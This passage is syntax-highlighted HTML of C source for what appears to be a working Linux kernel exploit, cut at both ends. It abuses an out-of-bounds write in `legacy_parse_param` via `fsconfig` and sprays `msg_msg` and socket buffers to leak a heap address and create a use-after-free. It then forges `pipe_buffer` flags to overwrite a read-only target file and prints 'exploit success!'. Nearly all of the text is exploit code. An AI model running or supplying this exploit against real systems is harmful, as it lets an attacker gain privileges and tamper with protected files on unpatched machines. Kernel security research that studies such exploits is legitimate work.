punctuation">]</span> <span class="token operator">=</span>                   <span class="token function">msgget</span><span class="token punctuation">(</span>IPC_PRIVATE<span class="token punctuation">,</span> IPC_CREAT <span class="token operator">|</span> <span class="token number">0666</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgget() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        p<span class="token operator">++</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">clean_msg_1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">clean_msg_2</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>uaf_msqid <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"kmalloc_1024 = %#lx"</span><span class="token punctuation">,</span> kmalloc_1024<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">fake_msg_msg_at_kmalloc_1024</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"--- fake_msg_msg_at_kmalloc_1024 ---"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"free kmalloc-1024"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgrcv</span><span class="token punctuation">(</span>uaf_msqid<span class="token punctuation">,</span> msg_b<span class="token punctuation">,</span> <span class="token number">1024</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_B2<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgrcv() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"spraying skb..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>skb<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span>msg <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>skb<span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>next <span class="token operator">=</span> kmalloc_1024 <span class="token operator">+</span> <span class="token number">0x200</span><span class="token punctuation">;</span> <span class="token comment">// no matter</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>prev <span class="token operator">=</span> kmalloc_1024 <span class="token operator">+</span> <span class="token number">0x300</span><span class="token punctuation">;</span> <span class="token comment">// no matter</span>  msg<span class="token operator">-></span>m_type <span class="token operator">=</span> MTYPE_FAKE<span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_ts <span class="token operator">=</span> <span class="token number">0x100</span><span class="token punctuation">;</span>  msg<span class="token operator">-></span>security <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  msg<span class="token operator">++</span><span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>next <span class="token operator">=</span> kmalloc_1024<span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>prev <span class="token operator">=</span> kmalloc_1024 <span class="token operator">+</span> <span class="token number">0x400</span><span class="token punctuation">;</span> <span class="token comment">// no matter</span>  msg<span class="token operator">-></span>m_type <span class="token operator">=</span> MTYPE_A<span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_ts <span class="token operator">=</span> <span class="token number">0x233</span><span class="token punctuation">;</span>  msg<span class="token operator">-></span>security <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token function">spray_skbuff_data</span><span class="token punctuation">(</span>skb<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">create_uaf</span><span class="token punctuation">(</span><span class="token keyword">int</span> fsid<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> buff<span class="token punctuation">[</span><span class="token number">0x100</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token keyword">int</span> target_idx <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"--- create_uaf ---"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">prepare_overflow</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"spraying messasge queue 1..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_1<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    msg_a<span class="token operator">-></span>mtype <span class="token operator">=</span> MTYPE_A<span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">,</span> MSG_A_TEXT_SIZE<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> MSG_TAG<span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgsnd</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_a<span class="token punctuation">,</span> MSG_A_TEXT_SIZE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgsnd() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"trigger oob write in `legacy_parse_param` to corrupt messageA's "</span>           <span class="token string">"msg_msg.m_ts"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span>msg <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>buff<span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>next <span class="token operator">=</span> kmalloc_1024 <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>prev <span class="token operator">=</span> <span class="token number">0xdeadbeefdeadbeef</span><span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_type <span class="token operator">=</span> MTYPE_A<span class="token punctuation">;</span> <span class="token comment">// append '=\x00'</span>  <span class="token function">fsconfig</span><span class="token punctuation">(</span>fsid<span class="token punctuation">,</span> FSCONFIG_SET_STRING<span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token string">"\x00"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"searching corrupted msg_msg for freeing fake msg_msg..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  fake_msqid <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_1<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token class-name">size_t</span> n <span class="token operator">=</span> <span class="token function">msgrcv</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_a<span class="token punctuation">,</span> <span class="token number">0x100</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> MSG_COPY <span class="token operator">|</span> IPC_NOWAIT<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token keyword">continue</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">==</span> <span class="token number">0x100</span> <span class="token operator">&amp;&amp;</span> msg_a<span class="token operator">-></span>mtype <span class="token operator">==</span> MTYPE_FAKE<span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      fake_msqid <span class="token operator">=</span> msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">msgget</span><span class="token punctuation">(</span>IPC_PRIVATE<span class="token punctuation">,</span> IPC_CREAT <span class="token operator">|</span> <span class="token number">0666</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgget() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"fake_msqid = %d"</span><span class="token punctuation">,</span> fake_msqid<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>fake_msqid <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">clean_msg_1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">clean_msg_1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">pipe_primitive</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> buff<span class="token punctuation">[</span><span class="token number">0x400</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"open target file %s"</span><span class="token punctuation">,</span> ATTACK_FILE<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>tfd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span>ATTACK_FILE<span class="token punctuation">,</span> O_RDONLY<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"failed to open target file"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"freeing fake msg_msg..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgrcv</span><span class="token punctuation">(</span>fake_msqid<span class="token punctuation">,</span> msg_a<span class="token punctuation">,</span> <span class="token number">0x100</span><span class="token punctuation">,</span> MTYPE_FAKE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgrcv() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"spraying pipe_buffer..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_PIPEFDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">pipe</span><span class="token punctuation">(</span>pipe_fd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"Alloc pipe failed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">write</span><span class="token punctuation">(</span>pipe_fd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token number">0x100</span> <span class="token operator">+</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token class-name">loff_t</span> offset <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token class-name">ssize_t</span> nbytes <span class="token operator">=</span> <span class="token function">splice</span><span class="token punctuation">(</span>tfd<span class="token punctuation">,</span> <span class="token operator">&amp;</span>offset<span class="token punctuation">,</span> pipe_fd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>nbytes <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"splice() failed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"free skbuff_data to make pipe_buffer become UAF"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">int</span> uaf_pipe_idx <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">char</span> backup_skb<span class="token punctuation">[</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token keyword">int</span> PIPE_BUF_FLAG_CAN_MERGE <span class="token operator">=</span> <span class="token number">0x10</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>skb<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_SOCKETS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> NUM_SKBUFFS<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read</span><span class="token punctuation">(</span>sock_pairs<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> skb<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token punctuation">&#123;</span>        <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"read from sock pairs failed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span>pb <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span><span class="token punctuation">)</span>skb<span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>pb<span class="token operator">-></span>len <span class="token operator">>=</span> <span class="token number">0x100</span> <span class="token operator">&amp;&amp;</span> pb<span class="token operator">-></span>len <span class="token operator">&lt;</span> <span class="token number">0x100</span> <span class="token operator">+</span> NUM_PIPEFDS<span class="token punctuation">)</span>      <span class="token punctuation">&#123;</span>        uaf_pipe_idx <span class="token operator">=</span> pb<span class="token operator">-></span>len <span class="token operator">-</span> <span class="token number">0x100</span><span class="token punctuation">;</span>        <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"uaf_pipe_idx = %d"</span><span class="token punctuation">,</span> uaf_pipe_idx<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">memcpy</span><span class="token punctuation">(</span>backup_skb<span class="token punctuation">,</span> skb<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>uaf_pipe_idx <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"uaf_pipe_idx not found"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"edit pipe_buffer->flags"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span>pb <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span><span class="token punctuation">)</span>backup_skb<span class="token punctuation">;</span>  pb<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>len <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  pb<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  pb<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>flags <span class="token operator">=</span> PIPE_BUF_FLAG_CAN_MERGE<span class="token punctuation">;</span>  pb<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>ops <span class="token operator">=</span> pb<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>ops<span class="token punctuation">;</span>  <span class="token function">spray_skbuff_data</span><span class="token punctuation">(</span>backup_skb<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>backup_skb<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"try to overwrite %s, by pipe fd %d"</span><span class="token punctuation">,</span> ATTACK_FILE<span class="token punctuation">,</span>           pipe_fd<span class="token punctuation">[</span>uaf_pipe_idx<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write</span><span class="token punctuation">(</span>pipe_fd<span class="token punctuation">[</span>uaf_pipe_idx<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> attack_data<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>attack_data<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">!=</span>      <span class="token keyword">sizeof</span><span class="token punctuation">(</span>attack_data<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"write"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"see if %s changed"</span><span class="token punctuation">,</span> ATTACK_FILE<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">close</span><span class="token punctuation">(</span>tfd<span class="token punctuation">)</span><span class="token punctuation">;</span>  tfd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span>ATTACK_FILE<span class="token punctuation">,</span> O_RDONLY<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>tfd <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"open attack file"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">char</span> tmp_buffer<span class="token punctuation">[</span><span class="token number">0x10</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token function">read</span><span class="token punctuation">(</span>tfd<span class="token punctuation">,</span> tmp_buffer<span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token class-name">uint32_t</span> <span class="token operator">*</span>ptr <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">uint32_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span>tmp_buffer <span class="token operator">+</span> <span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>ptr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token number">0x56565656</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"overwrite attack file failed: 0x%08x"</span><span class="token punctuation">,</span> ptr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token keyword">const</span> <span class="token operator">*</span>argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> fsid<span class="token punctuation">;</span>  <span class="token keyword">int</span> pid<span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">pipe</span><span class="token punctuation">(</span>notify_pipe<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"pipe() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>pid <span class="token operator">=</span> <span class="token function">fork</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">init_unshare</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">bind_cpu</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">init_sock</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">init_msg</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    fsid <span class="token operator">=</span> <span class="token function">call_fsopen</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">do_leak_heap</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token function">close</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">;</span>      fsid <span class="token operator">=</span> <span class="token function">call_fsopen</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"retry do_leak_heap()"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">fake_msg_msg_at_kmalloc_1024</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">close</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">;</span>    fsid <span class="token operator">=</span> <span class="token function">call_fsopen</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">create_uaf</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token function">close</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">;</span>      fsid <span class="token operator">=</span> <span class="token function">call_fsopen</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"retry create_uaf()"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">pipe_primitive</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"exploit success!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">write</span><span class="token punctuation">(</span>notify_pipe<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"Y"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">pause</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>pid <span class="token operator">></span> <span class="token number">0</span><span class="token 